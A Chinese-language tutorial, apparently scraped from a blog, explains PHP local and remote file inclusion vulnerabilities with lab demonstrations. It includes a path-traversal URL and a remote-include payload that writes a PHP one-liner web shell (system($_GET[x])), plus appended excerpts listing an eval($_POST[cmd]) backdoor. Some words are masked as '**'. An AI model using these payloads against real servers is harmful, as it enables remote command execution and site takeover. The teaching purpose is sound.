檔案包含漏洞

2022-08-11 23:27:28 字數 1973 閱讀 9699

1、檔案包含漏洞

1.1 file inclusion(檔案包含漏洞)概述

檔案包含,是乙個功能。在各種開發語言中都提供了內建的檔案包含函式,其可以使開發人員在乙個**檔案中直接包含(引入)另外乙個**檔案。

比如在php中,提供了:

include(),include_once()

require(),require_once()

這些檔案包含函式,這些函式在**設計中被經常使用到。

大多數情況下,檔案包含函式中包含的**檔案是固定的,因此也不會出現安全問題。

但是,有些時候,檔案包含的**檔案被寫成了乙個變數,且這個變數可以由前端使用者傳進來,這種情況下,如果沒有做足夠的安全考慮,則可能會引發檔案包含漏洞。

攻擊著會指定乙個「意想不到

」的檔案讓包含函式去執行,從而造成惡意操作。 根據不同的配置環境,檔案包含漏洞分為如下兩種情況:

1.2 本地檔案包含漏洞

1)僅能夠對伺服器本地的檔案進行包含,由於伺服器上的檔案並不是攻擊者所能夠控制的,因此該情況下,攻擊著更多的會包含一些 固定的系統配置檔案,從而讀取系統敏感資訊。很多時候本地檔案包含漏洞會結合一些特殊的檔案上傳漏洞,從而形成更大的威力。

2)演示

在www的**根目錄下,有乙個寫好了的

123.html檔案,

我們利用它來做乙個演示

然後修改url鏈結

,filename=../../../../123.html,

訪問

1.3 遠端檔案包含漏洞

1)能夠通過

url位址對遠端的檔案進行包含,這意味著攻擊者可以傳入任意的**,這種情況沒啥好說的,準備掛彩。

因此,在web應用系統的功能設計上盡量不要讓前端使用者直接傳變數給包含函式,如果非要這麼做,也一定要做嚴格的白名單策略進行過濾。

2)演示

首先得修改下當前版本的php.ini檔案,將

allow_url_include

設定為on,

修改完,

重啟phpstudy

修改完成寫入一句話木馬,首先在本地寫好乙個

txt檔案

,具體內容為

:<?php

$myfile = fopen("yijuhua.php","w");

$txt = '<?php system($_get[x]);?>';

fwrite($myfile,$txt);

fclose($myfile);

將寫好的檔案放到自己**的根目錄下,先用電腦訪問

192.168.66.25

上的站點,再將

192.168.66.246

上的一句話木馬放到

192.168.66.25

然後可以看到25的虛擬機器上有了

yijuhua.php

的檔案

之後選擇訪問

檔案包含漏洞

簡單的來說,就是我們用乙個可控的變數作為檔名並以檔案包含的的方式呼叫了它,漏洞就產生了。以php為例檔案包含漏洞可以分為rfi 遠端檔案包含 和lfi 本地檔案包含漏洞 兩種。而區分他們最簡單的方法就是php.ini中是否開啟了allow url include。如果開啟了可能包含遠端檔案,如果不是...

檔案包含漏洞

1 什麼是檔案包含漏洞 檔案包含,包括本地檔案包含 locao file inclusion,lfi 和遠端檔案包含 remote file inclusion,rfi 兩種形式。首先,本地檔案包含就是通過瀏覽器引進 包含 web伺服器上的檔案,這種漏洞一般發生在瀏覽器包含檔案時沒有進行嚴格的過濾,...

檔案包含漏洞

直接執行 的函式 eval assert system exec shell exec passthru escapeshellcmd pcntl exec 等就不一一舉例了。1 eval eval 函式把字串按照 php 來計算,如常見的一句話後門程式 eval post cmd 2 assert...